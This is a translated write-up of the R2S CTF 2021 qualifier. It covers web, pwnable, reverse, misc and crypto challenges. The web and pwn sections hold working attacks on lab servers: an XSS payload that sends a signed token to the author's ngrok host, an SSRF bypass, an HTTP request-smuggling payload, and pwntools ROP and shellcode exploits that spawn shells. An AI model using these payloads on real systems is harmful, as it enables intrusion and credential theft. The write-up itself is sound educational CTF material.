R2S CTF 2021 Qualifier WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time, I participated in the R2S CTF with my teammates from AIS3 EOF as Unofficial and we ended up winning first place. Overall, I found this CTF to be relatively easy, but some challenges required enough ingenuity to solve. Except for the Stego and Forensics categories, I managed to solve all the challenges, which also indicates that I am quite weak in those areas.
Welcome
The flag for Welcome was hidden in the Discord channel using spoilers, and since each character was individually marked with a spoiler, you could only reveal the flag one character at a time. I got the first blood by using Discord's Devtool to directly extract the textContent
of the element, which was more efficient. Later, I also discovered some faster methods, such as using the mobile app to long-press and copy directly, or clicking the first and last characters, then selecting the entire segment and pressing Ctrl-C.
Web
Chatroom
There was a JavaScript encoded with aaencode, which could be executed directly in the devtool to get the flag.
Psychic
There was a picture of a hotpot on the webpage, but if you tried to share the link through other communication software, you might see the flag in the thumbnail. Based on the flag content, it seemed to be related to a rendering issue with libpng, where the display varied across different software.
I'm The Map
You could upload a KML file of a map, and it would calculate the maximum distance between two points. From the API response, you could see that it included place names, so by using XXE to reference /flag.txt
in the place name part of the KML, you could see the flag in the API response.
Local Media Server 1/2
There was an apparent SSRF vulnerability, but direct attempts to access http://localhost
or http://127.0.0.1
were blocked. By examining the headers, you could find X-Rejected-By: netmask
. Researching further, you could find SSRF vulnerability in NPM package Netmask impacts up to 279k projects, indicating a potential bypass using octal IPv4 addresses. Testing confirmed this:
http://media.web.quals.r2s.tw:10692/get?url=http://0177.0000.0000.0001/play.html
However, considering 127.1 as an external IP is quite odd, and the author mentioned it was manually blocked by them ==
Afterward, it redirected to a page showing a hotpot video, where you could find flag 2 in the m3u8 file, and flag 1 was hidden in one of the video resolutions. By running strings on each video, you could find the flag.
But who would have the time to run strings on videos ==
Working Status
First, you needed to see that there was a /source
in the HTML, where you could view the backend source code. You needed a JWT signed with {"status": "flag", "user": "admin"}
to get the flag.
After some simple testing, you could find a very basic XSS vulnerability, so the goal was to use XSS to sign as admin and then retrieve the result to view the flag.
To make it easier, I hosted the XSS script on my server for easier modification, and the XSS content simply loaded the script.
<img src=1 onerror="s=document.createElement('script');s.src='https://3ccdbb63ba3b.ngrok.io/xss.js';document.body.appendChild(s)">
function log(x){
fetch('https://3ccdbb63ba3b.ngrok.io/report=' + encodeURIComponent(x))
}
log('loaded')
const s = document.createElement('script')
s.src = '/sign?status=flag&callback=signed'
document.body.appendChild(s)
window.signed = log
After giving the page to the XSS bot, you would receive a token that allowed you to view the flag.
Calculator 0x1
This challenge allowed you to submit JavaScript with a length limit of 54 characters, composed of .`+|a-z characters. The server would use vm2 to evaluate it, and the result needed to return the number 1069 and call the sec.disable() function.
Calling the function part could be easily achieved with sec.disable``, and the number part mainly utilized the length property and the fact that "123"|"" results in the number 123.
So the goal was to construct the string 0x42d
and then perform an or operation with an empty string. Since sec.disable()
returns an empty string, it also saved characters.
+sec.disable``+`x`+`aaaa`.length+`aa`.length+`d`|``
Simple Book Searcher
A book search engine, where sending the '
character in the request would directly reveal a SQL error in the response, indicating it was MySQL. By referring to MYSQL Injection and using union select to retrieve database, table, and column information, you could find where the flag was and obtain it.
I was really surprised that very few people solved this challenge, as it was just a very basic SQL injection.
Smart IoT
The target was a server running Node 14.15.3 + Express, behind Haproxy 1.5.3, with the flag content in the response of the /info
endpoint. However, Haproxy's configuration blocked that route:
global
daemon
maxconn 576
defaults
mode http
timeout connect 1000ms
timeout client 10000ms
timeout server 10000ms
frontend http-in
bind *:80
default_backend back
acl x path_beg -i /info
http-request deny if x
backend back
server server1 127.0.0.1:8080 maxconn 128
Researching the version, you could find CVE-2020-8287, indicating that this combination could use TE-TE request smuggling to bypass Haproxy's ACL. Testing confirmed that the following payload could indeed send a GET /info
request to the Node part, but the response would be directly cut off, preventing you from seeing the flag.
POST / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding: invalid_value
0
GET /info HTTP/1.1
The hint later mentioned researching the differences in how Haproxy and Nginx handle WebSockets by default, revealing that adding a Connection: Upgrade
header would magically get the response, but adding an Upgrade: websocket
header would fail again, for reasons unknown to me.
However, I did find that in the Haproxy 1.5.3 changelog, there was a mention of:
MEDIUM: http: refrain from sending "Connection: close" when Upgrade is present
The complete successful payload (CRLF):
POST / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding:
Connection: Upgrade
0
GET /info HTTP/1.1
Pwnable
Buffer Builder
You could directly buffer overflow, and the goal was to forge a struct to pass the check and get the flag. I used gdb combined with the cyclic command (included with pwntools) to calculate the offset and then inserted the specified data.
Base64 encoded input:
YlVpTGRFXzdoM19CdWZmM3IheHjvvq3eNxM3EzMzMzNCRYZkCg==
Echo Heap
The challenge had three buffers on the heap: one for the format string, one for user input, and one for extra characters. It repeatedly used the same format string for scanf + printf, without blocking buffer overflow.
In C, it could be represented as follows:
char *buf = malloc(0x64);
char *fmtstr = malloc(0x64);
char *c = malloc(0x4);
int result = 0;
strcpy(fmtstr, "echo!\nheap\n%s%c");
do {
result = scanf(fmtstr, buf, c);
printf(fmtstr, buf, 10);
}
while (result > 0);
Since buf
was allocated before fmtstr
, you could use buf
overflow to modify the value of fmtstr
, allowing further exploitation with format string.
The tricky part was that both scanf
and printf
used the same format string, and since it checked the return value of scanf
, you needed to input according to its format.
First, you needed to leak the libc address using %13$p
, and after leaking it, you needed to control the rip. Using gdb, you could find that %10$s
pointed to the rbp location, so you could use %10$s
to write the rop chain.
Combining these steps, you could first use the format string printf("x%10$s-%13$p-")
to get the libc address, then scanf("x%10$s-%13$p-")
to write the rop chain. As long as it didn't match the format, it would exit the loop and return to the rop chain.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
libc = ELF("./libc.so.6") # from docker
# io = process("./echo-heap")
io = remote("echo.pwn.quals.r2s.tw", 10101)
io.sendline(b"echo!\nheap!\n" + b"a" * 112 + b"x%10$s-%13$p-")
io.recvuntil(b"-")
addr = int(io.recvuntilS("-")[:-1], 16)
print(hex(addr))
libc_base = addr - 0x0270B3
print("libc base", hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh\0"))
pop_rdi = libc_base + 0x26B72
pop_rsi = libc_base + 0x27529
pop_rdx_rbx = libc_base + 0x162866
execve = libc_base + libc.sym["execve"]
rop = flat([pop_rdi, binsh, pop_rsi, 0, execve])
io.sendline(b"x" + p64(0) + rop)
io.interactive()
Guess Dice 🎲
The challenge started by using gettimeofday
to get the time information, then xored the low 16 bits of tv_sec
and tv_usec
to set the seed with srandom
, and then used system("date")
to tell you the server time. The main program had some rand()
related tasks, so you needed to predict the random numbers.
It was clear that you could recover the seed using the time information, but the date
command didn't provide detailed enough time information to get microsecond precision. However, this part could be brute-forced easily.
find_usec.c
:
This program took sec
from argv
and the 7th to 12th rand()
outputs, then quickly brute-forced the usec
value.
Compilation command:
gcc find_usec.c -o ./find_usec -Ofast
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>
int main(int argc, char **argv)
{
if (argc < 2 + 6)
{
return 1;
}
int ar[6];
for (int i = 2; i < 2 + 6; i++)
{
ar[i - 2] = atol(argv[i]);
}
int sec = atol(argv[1]);
for (int usec = 0; usec <= 0xffffffff; usec++)
{
srandom(sec ^ usec);
for (int i = 0; i < 6; i++)
{
rand();
}
int i = 0;
for (; i < 6; i++)
{
if (rand() != ar[i])
break;
}
if (i >= 6)
{
printf("%d", usec);
break;
}
}
return 0;
}
rand.c
:
This program took three parameters sec
, usec
, and n
, generated srandom(sec ^ usec)
, skipped 12 numbers, and then output n
numbers, making it convenient to call in the Python script later.
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>
int main(int argc, char **argv)
{
if (argc < 4)
{
return 1;
}
int sec = atol(argv[1]);
int usec = atol(argv[2]);
int n = atol(argv[3]);
srandom(sec ^ usec);
for (int i = 0; i < 12; i++)
{
rand();
}
for (int i = 0; i < n; i++)
{
printf("%d\n", rand());
}
return 0;
}
The main program first rolled 6 dice with rand() % 6
, then entered a 100-loop where you could read/modify or predict the dice values. The read allowed specifying the index without additional checks, so you could leak anything. The write allowed specifying the index and a value, writing val ^ rand()
to dice[idx]
. The prediction required predicting 6 dice values, comparing input ^ rand() == dice[i]
, and all had to be correct to exit the loop and return. If the loop count reached the limit, it would directly exit(-1)
without returning.
The process was to first write index 0-5 with val 0, then read six times to get 6 rand()
outputs. Then, calling find_usec
and rand
would give all future rand()
outputs, making dice prediction easy.
To control rip, you could use index out-of-bounds write, as dice
was on the stack, allowing you to write to the ret location. Knowing rand()
values allowed precise writing of the rop chain.
This challenge was static binary, no pie, making rop easy.
from pwn import *
from dateutil import parser
from subprocess import check_output
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
def read(idx):
io.sendlineafter(b"> ", "0")
io.sendlineafter(b"Dice number want to read> ", str(idx))
io.recvuntil(b" is ")
return int(io.recvlineS().strip())
def write(idx, val):
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"Dice number want to change> ", str(idx))
io.sendlineafter(b"Value with hash> ", str(val))
# io = process("./dist/home/guess-dice")
io = remote("dice.pwn.quals.r2s.tw", 10103)
io.recvuntil(b"Server Time: ")
timestr = io.recvlineS().strip()
sec = int(parser.parse(timestr).timestamp())
for i in range(6):
write(i, 0)
nums = [read(i) for i in range(6)]
args = str(sec) + " " + " ".join(map(str, nums))
usec = int(check_output(["./find_usec", str(sec), *map(str, nums)]))
print(sec, usec)
nums = [
int(x)
for x in check_output(["./rand", str(sec), str(usec), "300"]).split(b"\n")
if x
]
def rand():
global nums
ret = nums[0]
nums = nums[1:]
return ret
def do_predict():
dices = []
for i in range(6):
write(i, 0)
dices.append(read(i))
print(dices[-1], rand())
io.sendlineafter(b"> ", "2")
for i in range(6):
io.sendlineafter(b"Dice Value with hash> ", str(rand() ^ dices[i]))
io.interactive()
pop_rdi = 0x4018EA
pop_rsi = 0x40F71E
pop_rdx = 0x4017EF
pop_rax = 0x45B857
syscall = 0x4012E3
binsh = 0x4B69EB
def write_qword(idx, val):
write(idx, rand() ^ val) # lower dword
write(idx + 1, rand() ^ (val >> 32)) # upper dword
write_qword(14, pop_rdi)
write_qword(16, binsh)
write_qword(18, pop_rsi)
write_qword(20, 0)
write_qword(22, pop_rdx)
write_qword(24, 0)
write_qword(26, pop_rax)
write_qword(28, 59)
write_qword(30, syscall)
do_predict()
Email Sender
The core part of this challenge was roughly as follows:
struct Mail {
char email[64];
char subject[64];
char *content;
void (*sendMail)(struct Mail*);
} mail;
// do something ...
init(&mail); // initialize sendMail
printf("Email:");
gets(mail.email);
printf("Subject:");
gets(mail.subject);
mail.content = mmap(mail.content, 0x1000, 7, 34, -1, 0);
gets(mail.content);
// print mail
mail.sendMail(&mail);
You could see that buffer overflow allowed overwriting content
and sendMail
, so you could control rip. However, the problem was where to control rip, as there was no address leak, and with PIE, you didn't know the addresses.
The key was that if the mmap
address was 0, it would allocate a random block; otherwise, it would allocate a block at the nearest page boundary. So you could control content
to a page boundary, then use gdb to inspect that location and copy it. Since the mmap
block was RWX, you could write shellcode there and control sendMail
to the shellcode.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
addr = 0x00007FFE0F0DC000
# io = process("./dist/home/email-sender")
io = remote("email.pwn.quals.r2s.tw", 10102)
io.sendlineafter(b"Email: ", "asd")
io.sendlineafter(
b"Subject: ",
cyclic(0x60) + p64(addr) + p64(addr),
)
io.sendlineafter(b"Content: ", asm(shellcraft.cat("/flag")))
io.sendlineafter(b"correct?", "y")
io.interactive()
PS: This challenge had seccomp, so no shell.
File Manager v0.0.1
This challenge allowed you to open any file, with an easily triggered backdoor that directly executed /bin/sh
. The binary had suid, and the initial gid was 3333, but it would setgid to 1000 before execution. The flag in /home/file_manager/flag
could only be read by root or gid 3333, so directly getting a shell wouldn't allow cat /home/file_manager/flag
.
The key was to open("/home/file_manager/flag", 0)
while gid was still 3333, making fd 3 the file descriptor for that file.
Initially, I kept getting permission denied errors with cat /proc/self/fd/3
, later realizing it was because cat
used the openat
syscall. During the competition, I was stuck there, but a teammate discovered that uploading a binary to read(3, buf, 1000)
solved it. After the competition, I learned that cat <&3
could read data from fd 3.
from pwn import remote
from base64 import b64encode
with open("./read.tgz", "rb") as f:
bin = f.read()
print(len(bin))
io = remote("file.pwn.quals.r2s.tw", 34567)
for _ in range(8):
io.sendlineafter(b"> ", "2")
io.sendlineafter(b"File ID > ", "0")
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"File Name > ", "/home/file_manager/flag")
io.sendlineafter(b"> ", "333")
io.recvuntil(b"Welcome Admin!\n")
io.sendline(b"bash")
# Upload a precompiled binary
# io.sendline(b"rm /tmp/read.tgz")
# for i in range(0, len(bin), 10000):
# io.sendline(
# b"echo " + b64encode(bin[i : i + 10000]) + b" | base64 -d >> /tmp/read.tgz"
# )
# io.sendline(b"cd /tmp")
# io.sendline(b"rm read")
# io.sendline(b"tar xzf read.tgz")
# io.sendline(b"chmod +x read")
# io.sendline(b"echo done")
io.interactive()
Stego
Barcode in Image
Solved by a teammate, I don't know how ==
Music Xor
I couldn't divine this challenge and didn't solve it.
Corrupted Media
This was another unsolved challenge, but the reason was that I was misled by ffmpeg.
The challenge provided a corrupted mp4, and the hint mentioned the original file format was hevc. Researching, I found that untrunc could recover it. Untrunc required a similar, playable file to recover the corrupted mp4, so I downloaded a hotpot video and re-encoded it with hevc using ffmpeg. Untrunc successfully recovered it, but the playback had only sound, with a completely corrupted video.
After the competition, I learned that my approach was correct, and others succeeded with the same method. It turned out that Debian's ffmpeg version 4.3.2-0+deb11u2
hevc encoding produced problematic videos, and switching versions and redoing it worked.
Reverse
What is this!?
Another aaencode JavaScript, removing the final set of parentheses and executing revealed the JavaScript function. toString
and reversing it showed the flag.
pAtCh_mAn
This challenge had no input, performing some checks and printing the flag based on conditions. I used gdb to set breakpoints and modified memory at appropriate places to pass the checks and see the flag.
This challenge also had a bonus, where another function contained a hex-encoded string. Decoding it revealed a substitution cipher, which could be solved using quipquip and the author's name, leading to a CloudFlare Workers goindex with a お願い!コンコンお稲荷さま flac.
Jumping_master
A DOS 16-bit program, where IDA showed an exit call. Patching it to NOP and running again revealed 3 YT video URLs, unrelated to the flag. Further inspection showed a suspicious call si
, which was also NOPed. Running again showed "Thanks for playing," and a FLAG file appeared in the same directory, containing the flag.
Misc
Time Traveler
You could find that the further into the future you input, the further back it went. Calculating, you could see that inputting 2071-01-01
resulted in 1937, revealing the flag.
Kon!Kon!Kon!
Directly nc showed nothing special, but piping to xxd revealed hidden information using CR. Inputting Kon?!OuO
entered a terminal, where executing ./read_flag
and solving a simple addition revealed the flag.
from pwn import remote
io = remote("konkonkon.misc.quals.r2s.tw", 3333)
io.sendline("Kon?!OuO")
io.sendlineafter("Terminal", "./read_flag")
io.recvuntil(b'Kon!!\n')
ans = eval(io.recvlineS().split('=')[0])
io.sendline(str(ans))
io.interactive()
Weird Picture
Using zsteg, you could find a PowerShell script hidden in the image. Modifying it allowed extracting more PowerShell scripts. Understanding it revealed a flag checker, comparing each character's md5 with a list. Brute-forcing each character revealed the flag.
Fat7z
A repeatedly encoded flag, solved by brute-forcing with dfs.
from base64 import *
import gzip
import sys
with open('data', 'rb') as f:
data = f.read()
def dfs(data, deep=0):
print(deep)
if data.startswith(b"R2S"):
print(data)
sys.exit(1)
if deep == 350:
return
ddata = gzip.decompress(data)
try:
dfs(b32decode(ddata), deep+1)
except:
pass
try:
dfs(b64decode(ddata), deep+1)
except:
pass
try:
dfs(b85decode(ddata), deep+1)
except:
pass
dfs(b85decode(data), 0)
How Regular is This
A regex crossword, solved manually in about 20 minutes.
R2S{R3GE
X_IS_FUN
,_R19H7?
_I7_C4N_
FETCH_AN
YTH1NG_U
_WAN7_FR
0M_UR_L0
G5_AND_W
EBP4GE5}
IP Over Telegram
The challenge provided a record of communication using Teletun - IP over Telegram. The project tunneled traffic over Telegram using base64 encoding.
Observing, you could see that discarding the first 56 bytes of each packet revealed the actual content, likely the TCP header.
Writing a decode script to extract the HTTP files and then unpacking the segmented 7z file revealed the flag image.
from base64 import b64decode
from hashlib import md5
with open("messages") as f:
fname = []
for line in f:
try:
data = b64decode(line)[56:]
if b"GET /" in data:
fname.append(data.split(b" ")[1].decode()[1:])
print(fname)
if len(data) == 100:
print(fname[0], md5(data).hexdigest())
with open(fname[0], "wb") as f:
f.write(data)
fname = fname[1:]
if fname[0] == "owo.7z.014" and len(data) == 8:
print(fname[0], md5(data).hexdigest())
with open(fname[0], "wb") as f:
f.write(data)
fname = fname[1:]
except Exception as ex:
# print(ex)
pass
Crypto
Base1024
Searching the challenge name led to Ecoji.co, where decoding revealed the flag.
BiGGG_RSA
The code for generating n was as follows:
n = 1
tmp = getPrime(50)
for i in range(7):
print(i)
n *= tmp
tmp = next_prime(n)
Knowing that n was roughly the same size each time, you could repeatedly use Fermat's factorization to decrypt it.
import gmpy2
from Crypto.Util.number import *
from operator import mul
from functools import reduce
c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222
e = 65537
n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627
def fermat(x, mx=1000):
a = gmpy2.isqrt(x)
b2 = a * a - x
cnt = 0
while not gmpy2.is_square(b2):
a += 1
cnt += 1
if cnt == mx:
return
b2 = a * a - x
b = gmpy2.isqrt(b2)
return a + b, a - b
def factor(n):
p, q = fermat(n)
fac = []
if not isPrime(p):
fac += factor(p)
else:
fac += [p]
if not isPrime(q):
fac += factor(q)
else:
fac += [q]
return fac
fac = factor(n)
assert reduce(mul, fac) == n
phi = reduce(mul, (x - 1 for x in fac))
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)
print(long_to_bytes(m))
Seeeeed
The intended solution was to brute-force the random seed by backtracking time, allowing you to factorize the RSA n values.
# fmt: off
ns = [260634525524533903012690050767761847060552114922740001388159725787723716406020999293635211220503083237, 208095678966688821844479773849088950638944633557616238151123335222899046286902783, 257979573430413729952126829110820754255590168827983489589181784816491809972695059, 27243853461323387808300873515072056902530035743581988124468140982020916628636339101, 274294960917112555155918743231115476048475321832747350566866116355816894882516483, 291153654572421277161272319821881945338417542318103307006007431811050578618319633, 1264614018826395575718768267659554806208758592967928546141376334987200797765109201, 215356595628359003442692204466385178410717803540992865178965327846944469985078717, 275798075765296633158782154395021668434841804868451919714742518641677209524386239, 203959691383036080416056049068597820621920194509335375338001584394846436848778573, 172318838323449236035296154148872274753763285156663504522766377433747381712046437, 2551733082240613507692268659153484068913424701145121919418041466166347388772109929, 177817867186884785941829869444106898938776952217040896942441467249110603000565527, 13699344913073626306878374150277151744545010780157931205343770628112921943767720673, 274603578897156037730538510879106960475281610547931476478488792542562967969758169, 1021688707360268777351035532335218613477164972796776067732317113426196466189058857, 11303711116746364836230503067790137605917877750394683941432835864580851232762670437, 243495874435731571155030324017802176115338017548563228509041073628055194125290167, 4210086242379040026181928282787339610454119020281654630754512506326442565509313353, 279098144908475422995174461690215596619979080957432236763400286359406022381502899, 1142276742953704568977370705422406376114491107782617817012681417749795459206323997, 1234223605952796613308102981831034107115216741547398609057839879247554476528064163, 1115297868611802649319686724893372541528724052860522151900018161307989512692927891, 771909112654534347958718785103330152314820235006730551077142224822695902658667399, 250000775556680592196031987059288134052847572497760134202853927382497548012063151, 170063094937389940579068822372209592974481256340198322480780057577365688733737243, 153432640836172777814508025444093964756390707854295282127485450154828573764281989, 350521775997315362036095345582136781928565124549941218378580615630801586334289953, 328086570801403898875073311230391353258645659329103798885061005491842872808666233, 309698664948004135943390545911374267184936986335013424421317454742291838144931691, 17753951678760831078080973140471615230943167318953679469750484716451406113414158311, 380839925470311031055697009339283650201049325890416481845377602075223796687235643, 18286702214336038429541856832563948834041300267917021102336407067688654506630341827, 60359977403251459016771406971274965445963819939677459162816875699358612290156163483, 278747472153129524796215056208523381106123959436640229493158520782297847569496123, 3835257278211128259058432605573722550260251822254869366378362839711692867831987743, 8772911744802850733380926186876743272025561945864055191902568438648421247866060528011]
cs = [168324827824206027757963652608328154751150612172746909995666631233062936087781039335378554527748186697, 130617575815982628554636126172184393182042976671872563630075153822805242079268380, 102809175525572947369404325465067957368528820323716896932293392441207897241162106, 26510445477009605745725613637211176100090811064820601782341981709429706877186511884, 265447636845150591433878737556659417237035086612618675351208502604167306736559048, 24319737652721169825528803678105943693722065855067626375626421576009657837968691, 903349808383738532864672035305340485438724224938442183989776291470107772503368448, 25102606021422924705896453615502010127342602023957589138728530721032348624846905, 53973589983836253173577401704499774942292805499835176323917577336233307808046032, 139362107334098998953108826961665620893893707993106446002007437263380823913671715, 22393501700438832858853797921488776680986297064233536837770621972716803189749943, 2548574030243119028744139573507485556898153200655055113765034188330694195031459906, 52489394155645831764544707933361030981677908207259488105445148989800468433752897, 6250019693861336237390098776797359530471988801874695977726521776798120303443963879, 66512533155280045074503459588144597554965640207915686826940254082577850705466247, 491849516573421165425636440914444494059244603886473708847218553532410313512844419, 1176813002097324842964847401366126169231600430855511881901506489852185032618265570, 188422590589899047195259429088196391250066043167218733709175935641538384543823714, 2074255496576202379288582635657157635141681692751584998679422766083321184449743137, 76607218350654225967358181385063684974503838071840477210881977349853066122015584, 268269262358948400352414043377630243497423983157487241891838775312266965658187624, 188472314699881909737963062508226914748343519892578653567454774777763623787635414, 897161360553250913742509185428871487269534315677820253500436092967096983223590841, 359086933207289842171751612803773923497313773002461379560697925340906969631580148, 191337336238218979797727216988524937980116332283935111076884824781075217022129682, 53366153717987266046331918568520810526003388892521788994147885483696076039901087, 115261829190735685298108304481910868538184390322784339988275136090107409092318229, 221205179330812112863350554831136698682517777762201913306141470683838942400740430, 224161320349442835161020066533633200106514001862983237572820066571727747297818919, 109864940977223157354897007217633842419798366128833448222905811325507349629348861, 2955514070204944644143519717315850247262021426864569588832071663945292583405011073, 205640591252875284012121950003466015621718524224073430055156076235706136617600293, 2912769900155402319312331305500539113469985250702347761152562348415328406828346453, 53277041267060499328150331178272978283908033800055762551754407395149317153237389783, 18103453177057839546488042481723259026905868382704927873137182443880686317623884, 1319726331778501297956354956533726004358324384142102624097090385168102573652232168, 5662029275219406340853890855725203744874150490741210699817647640149564730621919633080]
e = 65537
# fmt: on
from random import *
from Crypto.Util.number import bytes_to_long
from gmpy2 import next_prime
e = 0x10001
N = 1083431725045970484586186177942248908050424478782004838696639
def seeed(t, tmp):
if t == 0:
return tmp
tmp = randint(1e10, 1e20)
seed(tmp)
return seeed(t - 1, tmp)
t = 1624788700
seed(t)
ps = [int(next_prime(N // seeed(i, t - i))) for i in range(len(ns))]
qs = [n // p for n, p in zip(ns, ps)]
phis = [(p - 1) * (q - 1) for p, q in zip(ps, qs)]
ds = [pow(e, -1, phi) for phi in phis]
ms = [pow(c, d, n) for c, d, n in zip(cs, ds, ns)]
print(ms)
print(bytes(ms)[::-1])
An easier solution was to note that , allowing brute-forcing:
# fmt: off
ns = # ...
cs = # ...
e = 65537
# fmt: on
import gmpy2
def brute(n, e, c):
for x in range(256):
if gmpy2.powmod(x, e, n) == c:
return x
print(bytes([brute(n, e, c) for n, c in zip(ns, cs)])[::-1])
2-AES
This challenge required brute-forcing the AES key. The normal search space was , but with a known plaintext and ciphertext pair, a meet-in-the-middle attack reduced it to .
from tqdm import tqdm
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from itertools import product
notflag = bytes.fromhex("5232537b316d5f6e30375f666c34367d")
notflagC = bytes.fromhex(
"506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b"
)
flagC = bytes.fromhex(
"ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5"
)
padded = pad(notflag, 16)
kpre = b"make_it_easy_"
table = {}
for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="first"):
k1 = kpre + bytes(a)
ct = AES.new(k1, mode=AES.MODE_ECB).decrypt(notflagC)
table[ct] = k1
for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="second"):
k2 = kpre + bytes(a)
ct = AES.new(k2, mode=AES.MODE_ECB).encrypt(padded)
if ct in table:
k1 = table[ct]
print(k1, k2)
flag = unpad(
AES.new(k2, mode=AES.MODE_ECB).decrypt(
AES.new(k1, mode=AES.MODE_ECB).decrypt(flagC)
),
16,
)
print(flag)
break
k1 = b"make_it_easy_bh\x10"
k2 = b"make_it_easy_;L\x92"
flag = b"R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}"
Not morse
Divination, divination, and divination...
1000 021 000 1{1000 0 00 10 01 00 010 011 1 000 00011 100 01 00000 0001 1 0 00 001 10 0 0110 0 1 00000 10 01 10 100 0 110 0100 }
First, guess that the 2 is from the flag format R2S{...}
, then remove all non-0 and non-1 characters:
100001000110000001001000100111000000111000100000000110000011000110010000010011010001100100
Using CyberChef's magic revealed it was a Bacon cipher: link
Forensics
Headache
Solved by a teammate, I don't know how ==
md0
Also solved by a teammate, I only learned that when exporting files from Wireshark, you should select raw
.
H4cK3d
The challenge was broken, and the flag could be found directly with strings.